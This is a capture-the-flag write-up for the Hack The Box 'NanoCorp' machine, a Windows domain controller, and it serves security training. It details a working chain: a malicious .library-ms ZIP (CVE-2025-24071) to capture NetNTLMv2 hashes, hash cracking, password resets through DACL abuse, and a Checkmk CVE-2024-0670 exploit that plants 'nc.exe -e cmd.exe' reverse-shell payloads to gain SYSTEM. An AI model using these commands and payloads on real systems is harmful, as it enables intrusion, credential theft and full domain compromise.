NanoCorp WriteUp
Table of Contents
NanoCorp is a π₯ Hard difficulty machine from the Hack The Box platform. The attack chain starts at a job portal that accepts rΓ©sumΓ©s in ZIP format: by packaging a malicious .library-ms file (CVE-2025-24071) we get the server, on extraction, to try to authenticate over SMB against our machine, leaking the NetNTLMv2 hash of a service account. After cracking that password, we use BloodHound to map the domain and discover a DACL abuse chain that lets us join a privileged group and reset the password of another service account with WinRM access. The final escalation exploits CVE-2024-0670 in the Checkmk monitoring agent, abusing the repair of its MSI installer to run our own script as NT AUTHORITY\SYSTEM.
πΊοΈ Attack Chain
Recon β Windows DC (nanocorp.htb / DC01.nanocorp.htb)
β
βΌ
hire.nanocorp.htb β job portal, upload rΓ©sumΓ© as ZIP
β
βΌ
CVE-2025-24071 β .library-ms in ZIP β Responder β web_svc NetNTLMv2
β
βΌ
hashcat -m 5600 β web_svc password
β
βΌ
BloodHound β web_svc AddSelf IT_SUPPORT β ForceChangePassword over monitoring_svc
β
βΌ
bloodyAD β reset monitoring_svc password β winrmexec (Kerberos) β User Flag π©
β
βΌ
CVE-2024-0670 (Checkmk Agent, :6556) β seed .cmd in C:\Windows\Temp β msiexec /fa β SYSTEM π΄
π Reconnaissance
Port Scan
We add nanocorp.htb to /etc/hosts:
echo "10.129.243.199 nanocorp.htb" | sudo tee -a /etc/hosts
We do the recon in two phases: fast discovery and then version detection over the discovered ports.
Phase 1, Fast TCP port discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv nanocorp.htb
Phase 2, Version and script detection:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv nanocorp.htb
| Port | Service | Detail |
|---|---|---|
53 | DNS | Simple DNS Plus |
80 | HTTP | Apache 2.4.58 (PHP 8.2.12), title “Nanocorp” |
88 | Kerberos | domain nanocorp.htb |
135, 49664-54135 | MSRPC | Microsoft Windows RPC (dynamic ports) |
139, 445 | SMB / NetBIOS | signing required |
389, 3268 | LDAP | Active Directory (nanocorp.htb) |
464 | kpasswd5 | |
593 | RPC over HTTP | |
636, 3269 | LDAPS | |
5986 | WinRM (HTTPS) | cert dc01.nanocorp.htb |
6556 | Checkmk Agent | plaintext, version 2.1.0p10 (vulnerable to CVE-2024-0670) |
9389 | mc-nmf | .NET Message Framing (AD Web Services) |
π― This is a Domain Controller (
DC01.nanocorp.htb, domainnanocorp.htb) with an Apache/PHP website on80. The entry vector is on the website, the escalation vector is on port6556, where the Checkmk agent (which runs asSYSTEM) is exposed. We note it down for the privesc phase.
π‘ The Checkmk agent answers in plaintext, by connecting to
6556we confirm the version, which is the hint for the final escalation:
nc -nv nanocorp.htb 6556 | head
# <<<check_mk>>>
# Version: 2.1.0p10
# AgentOS: windows
π‘ nmap usually reports a considerable
clock skewagainst this DC. Sync the time before using Kerberos:
sudo ntpdate nanocorp.htb
# or, if you use faketime with bloodhound-python:
faketime "$(ntpdate -q nanocorp.htb | cut -d' ' -f1,2)" bloodhound-python ...
Web Enumeration
Browsing http://nanocorp.htb, in the “About Us” section there is an “Apply Now” button linking to hire.nanocorp.htb.
π‘ A vhost fuzzing with
-ac(autocalibration) doesn’t detect this subdomain:hire.nanocorp.htbreturns a response with the same status/size as the default vhost, so-acdiscards it as a false positive even though the subdomain exists.
We add it to /etc/hosts and enter:
sudo sed -i 's/nanocorp.htb/nanocorp.htb hire.nanocorp.htb/' /etc/hosts
π―
hire.nanocorp.htbis the corporate job portal, with an application form that accepts uploading a rΓ©sumΓ© in.zipformat.
π Initial Access, CVE-2025-24071
π§ CVE-2025-24071 is a spoofing vulnerability in Windows Explorer. A
.library-msfile can define a remote UNC path as the “library” location. When Windows extracts a ZIP/RAR containing that file (without the user needing to open it), Explorer automatically resolves the UNC path to generate thumbnails/icons, which triggers an outbound SMB authentication to the remote host. If we set up a listener (Responder) on that IP, we capture the NetNTLMv2 hash of the user/service that processed the ZIP.
Step 1, We generate the malicious .library-ms pointing to our attacker IP. The file is an XML that defines a Windows library with a remote location:
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\10.10.14.49\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
The simplest approach is to use a public PoC that generates the file and packages it automatically, like 0x6rss/CVE-2025-24071_PoC :
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
# enter file name: cv
# enter IP: 10.10.14.49
This generates cv.zip containing cv.library-ms.
Step 2, We start Responder on the VPN interface to capture the incoming hash:
sudo responder -I tun0 -v
Step 3, We upload cv.zip as a rΓ©sumΓ© in the hire.nanocorp.htb form. As soon as the server processes/extracts the ZIP (e.g. to show a preview of the CV), Explorer resolves the UNC path and Responder captures the authentication:
[SMB] NTLMv2-SSP Client : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash : web_svc::NANOCORP:82d721ca6cdc4a83:0FA97341F8BC0CFFE60A2545492E449D:0101000000000000806880CD12FBDC01BBB5623502ADC4E600000000020008004B00570036004D0001001E00570049004E002D0046004800510030004E004A005400370045003400320004003400570049004E002D0046004800510030004E004A00540037004500340032002E004B00570036004D002E004C004F00430041004C00030014004B00570036004D002E004C004F00430041004C00050014004B00570036004D002E004C004F00430041004C0007000800806880CD12FBDC0106000400020000000800300030000000000000000000000000200000785B2D2B3188A026CEDD9CB389A78DD4E6810538F742AFD088E270857FBB54260A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340039000000000000000000
π NetNTLMv2 hash captured for
NANOCORP\web_svc.
Step 4, We save the hash to web_svc.hash and crack it with hashcat (mode 5600 = NetNTLMv2):
hashcat -m 5600 -a 0 web_svc.hash /usr/share/wordlists/rockyou.txt
WEB_SVC::NANOCORP:82d721ca6cdc4a83:0fa97341f8bc0cffe60a2545492e449d:...:dksehdgh712!@#
π Credentials obtained:
web_svc:dksehdgh712!@#
π Lateral Movement, DACL Abuse
With valid credentials, we enumerate the domain with BloodHound:
bloodhound-python -u 'web_svc' -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 -c All --zip
π‘ Alternative: SharpHound from Windows through the Kali VPN
If you prefer the official C# collector (SharpHound.exe) from a Windows VM without VPN, you need to route its traffic through Kali. Two gotchas that cost hours:
- Defender blocks SharpHound (it embeds
SharpHoundCommonLibwith Costura βBadImageFormatException ... HRESULT: 0x800700E1,ERROR_VIRUS_INFECTED). On your attack VM, exclude the folder and re-drop the.exe:Add-MpPreference -ExclusionPath 'C:\Tools\SharpHound'. - Transport matters: a SOCKS proxy with
ssh -D 1080+ Proxifier works for pure TCP tools, but SharpHound discovers the domain via DNS (SRV, UDP) andssh -Dis TCP-only β it fails with “Unable to resolve a domain to use”. (If Proxifier doesn’t hook anything, it’s usually Windows Memory Integrity / Core Isolation blocking the injection, or Proxifier without admin.) The reliable path is to route through Kali, which does carry UDP.
Step 1, Kali as gateway (forwarding + NAT over the VPN, confirm interfaces with ip a, usually host-only eth0 + VPN tun0):
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
Step 2, On Windows (admin): route to the HTB subnet via Kali and DNS pointing to the DC (to resolve nanocorp.htb and its SRV records):
route add 10.129.0.0 mask 255.255.0.0 192.168.100.223
Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ServerAddresses 10.129.243.199
ipconfig /flushdns
Step 3, We launch SharpHound with explicit credentials (the VM isn’t domain-joined), pointing at the DC and skipping the 445 check (which is troublesome over the tunnel):
.\SharpHound.exe -c All -d nanocorp.htb --domaincontroller 10.129.243.199 --ldapusername web_svc --ldappassword 'dksehdgh712!@#' --skipportcheck --outputprefix nanocorp --zipfilename nanocorp_bh.zip
π‘
--ldapusername/--ldappassworddoes an LDAP bind without Kerberos (no clock skew). ASASL bind ... data 52ethat appears only in the DC collectors (CARegistry/CertServices/NTLMRegistry) is normal from a non-domain-joined VM and does not affect the main graph (use-c Default/-c DCOnlyfor a clean run). The.zipis imported into the BloodHound GUI the same as thebloodhound-pythonone. These network changes are temporary (they’re gone on reboot) except the adapter DNS β revert it withSet-DnsClientServerAddress -InterfaceAlias Ethernet0 -ResetServerAddresses.
We load the data into BloodHound and look for the shortest path from web_svc to Domain Admins. The following permission chain appears:
web_svc --(AddSelf)--> IT_SUPPORT
IT_SUPPORT --(ForceChangePassword)--> monitoring_svc
monitoring_svc --(MemberOf)--> Remote Management Users
π―
web_svccan add itself to theIT_SUPPORTgroup, which in turn can reset the password ofmonitoring_svc, an account that belongs to Remote Management Users (WinRM access).
If you don’t have bloodyAD installed, install it with pipx:
pipx install bloodyAD
Step 1, We add ourselves to the IT_SUPPORT group with bloodyAD:
bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc
Step 2, With the privilege inherited from IT_SUPPORT, we reset the password of monitoring_svc via LDAP with bloodyAD (a single command):
bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' set password monitoring_svc 'Nanocorp123!@#'
[+] Password changed successfully!
β οΈ Be careful HOW you reset,
monitoring_svcis inProtected Users(visible in BloodHound next toRemote Management Users), which disables NTLM and forces Kerberos AES-only. That’s why a reset over RC4/SAMR (e.g.impacket-changepasswd -reset) does not work: it changes the NTLM hash but leaves the AES keys invalid β afterwardsimpacket-getTGTfails withKDC_ERR_PREAUTH_FAILED. The correct path isbloodyAD set password(LDAPunicodePwd): it sends the password in cleartext, so the DC derives all the Kerberos keys (RC4 + AES). And because it’s a reset (the Reset Password right inherited fromIT_SUPPORT) it bypasses theminimum password age, don’t chain two changes back-to-back (an RC4 + an LDAP), because the second would hit the minimum age:Password can't be changed ... minimum password age policy.
Step 3, We get the TGT with impacket-getTGT (it negotiates AES automatically, without touching /etc/krb5.conf):
impacket-getTGT 'nanocorp.htb/monitoring_svc:Nanocorp123!@#'
export KRB5CCNAME=monitoring_svc.ccache
[*] Saving ticket in monitoring_svc.ccache
Step 4, We connect via WinRM with Kerberos (port 5986).
β οΈ
evil-winrmdoesn’t work here: with NTLM (-S) it fails withWinRM::WinRMAuthorizationError(Protected Users disables NTLM) and with Kerberos (-r) Ruby’sgssapigem tends to hang/fail. We use winrmexec (impacket-based, supports Kerberos via ccache).
git clone https://github.com/ozelis/winrmexec
Its default timeout is 1 second (it causes failed to create pipeline on almost any command), so we raise it with -timeout, and we pass an explicit -dc-ip so it uses the DC’s IP and not the domain name:
python3 winrmexec/winrmexec.py -ssl -port 5986 -k -dc-ip 10.129.243.199 nanocorp.htb/monitoring_svc@dc01.nanocorp.htb -no-pass -timeout 30
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc
β οΈ Freshness/persistence gotcha (important on this box). Run
reset (bloodyAD) β getTGT β winrmexecback-to-back, without pauses, for two reasons. (1) The TGT expires: if you take too long, the ccache ticket expires, on reuse the DC rejects it and the clients handle it terribly, winrmexec blows up withpyasn1 EndOfStreamErrorand netexec with'NoneType' object has no attribute 'execute_cmd'. It’s not a client bug: animpacket-getSTconfirms it withKRB_AP_ERR_TKT_EXPIRED. (2) The box reverts AD every so often and restores the originalmonitoring_svcpassword, sogetTGTstarts givingKDC_ERR_PREAUTH_FAILED(here because the password is no longer yours, different from the PREAUTH due to AES keys from the RC4 reset in Step 2). In both cases: redo the bloodyAD reset and get a fresh TGT, all in one go.
π© User Flag
PS C:\Users\monitoring_svc\Documents> cd ..\desktop
PS C:\Users\monitoring_svc\desktop> type user.txt
<user_flag>
π§ββοΈ Privilege Escalation, CVE-2024-0670 (Checkmk Agent) β SYSTEM
π§ CVE-2024-0670 affects the Windows Checkmk agent prior to
2.2.0p23/2.1.0p40(the machine runs2.1.0p10, which we confirmed on6556). The agent runs asNT AUTHORITY\SYSTEMand, during the repair of its MSI, it writes and executes.cmdfiles with predictable names (cmk_all_<PID>_<counter>.cmd) inC:\Windows\Temp. The race condition: if we pre-seed those files as read-only with our own payload, when the agent (SYSTEM) tries to create them it can’t overwrite ours but it still executes the.cmdwe planted β execution as SYSTEM. (.cmdisn’t scanned by Defender in time.)
The key blocker: can’t write or repair from a network logon
This is the real “Hard” challenge. From our WinRM session (monitoring_svc) we hit two walls:
# 1) write the payload to C:\Windows\Temp:
Access to the path 'C:\Windows\Temp\cmk_all_1000_0.cmd' is denied.
# 2) trigger the repair:
msiexec.exe /fa "C:\Windows\Installer\1e6f2.msi" /qn β exit 1601 (The Windows Installer service could not be accessed)
β οΈ Why it fails and how to fix it: WinRM authenticates with a type 3 (Network) logon. With that token,
monitoring_svccannot write toC:\Windows\Tempand the Windows Installer service (msiserver) refuses the repair (1601). The solution to both at once: use RunasCs to create an interactive (type 2) logon with the credentials ofweb_svcand run the full exploit there. We useweb_svcbecause it’s not inProtected Users(clean logon) and because it does have write permission overC:\Windows\Temp.
Step 1, Locate the agent’s MSI
We need the path of the installed MSI to force its repair, we pull it from the registry (without triggering the slow Win32_Product):
PS C:\Users\monitoring_svc\Documents> Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" | ForEach-Object { $_.GetValue("DisplayName"); $_.GetValue("LocalPackage") }
Check MK Agent 2.1
C:\Windows\Installer\1e6f2.msi
π― The local package is
C:\Windows\Installer\1e6f2.msi(the random name changes per install, theexploit.ps1auto-detects it by filteringDisplayName -like '*mk*').
Step 2, Stage the tools in C:\Windows\Tasks
We serve RunasCs.exe, nc.exe and the exploit.ps1 from tralsesec/CVE-2024-0670
with goshs, and download them to C:\Windows\Tasks (readable by everyone and writable by the service account, the PoC uses that folder by default):
git clone https://github.com/tralsesec/CVE-2024-0670
cp /usr/share/windows-resources/binaries/nc.exe ~/http/
cp CVE-2024-0670/exploit.ps1 ~/http/
# RunasCs.exe from the antonioCoco/RunasCs release β ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/nc.exe -OutFile C:\Windows\Tasks\nc.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/RunasCs.exe -OutFile C:\Windows\Tasks\RunasCs.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/exploit.ps1 -OutFile C:\Windows\Tasks\exploit.ps1
We edit the # CONFIG block of exploit.ps1 (on Kali, before uploading it) with our data:
$LHOST = "10.10.14.49"
$LPORT = "8443"
$NcPath = "C:\Windows\Tasks\nc.exe"
$MinPID = 1000
$MaxPID = 15000
Step 3, Listener + launch the exploit via RunasCs (as web_svc)
We start the listener with Penelope (it will receive the SYSTEM shell):
penelope -p 8443
The exploit.ps1 seeds C:\Windows\Temp\cmk_all_<PID>_<ctr>.cmd (PID 1000β15000, counter 0 and 1 β ~28,000 files, read-only) with the nc.exe -e cmd.exe payload, and then launches msiexec /fa to force the repair. We run it entirely through RunasCs as web_svc, so that both the seeding (writing to C:\Windows\Temp) and the msiexec run under a valid interactive logon:
PS C:\Users\monitoring_svc\Documents> C:\Windows\Tasks\RunasCs.exe web_svc 'dksehdgh712!@#' "powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\exploit.ps1" --logon-type 2
π‘ Launching the whole exploit with RunasCs/
web_svcsolves both network-logon walls at once: theAccess deniedwhile seeding and the1601frommsiexec. If--logon-type 2gives problems, try8(NetworkCleartext) or4(Batch).
Step 4, SYSTEM shell and Root Flag
When the repair processes one of our .cmd files, nc.exe connects back to Penelope as NT AUTHORITY\SYSTEM:
[+] Got reverse shell from nanocorp~10.129.243.199 π
C:\Windows\system32> whoami
nt authority\system
β SYSTEM shell obtained, the Checkmk agent ran as SYSTEM, so we are now SYSTEM on the DC.
π΄ Root Flag
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<root_flag>
π Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap | DC nanocorp.htb, Apache + Checkmk Agent exposed |
| 2 | Vhost enumeration | ffuf | hire.nanocorp.htb (job portal) |
| 3 | CVE-2025-24071 | .library-ms in ZIP + responder | web_svc NetNTLMv2 |
| 4 | Hash cracking | hashcat -m 5600 | web_svc:dksehdgh712!@# |
| 5 | AD enumeration | bloodhound-python | DACL chain web_svc β IT_SUPPORT β monitoring_svc |
| 6 | DACL abuse | bloodyAD | Password reset of monitoring_svc |
| 7 | Kerberos WinRM access (Protected Users) | winrmexec | Shell as monitoring_svc + User Flag π© |
| 8 | CVE-2024-0670 (Checkmk) + interactive logon | RunasCs, msiexec /fa, penelope | Shell NT AUTHORITY\SYSTEM + Root Flag π΄ |
See you in the next challenge.
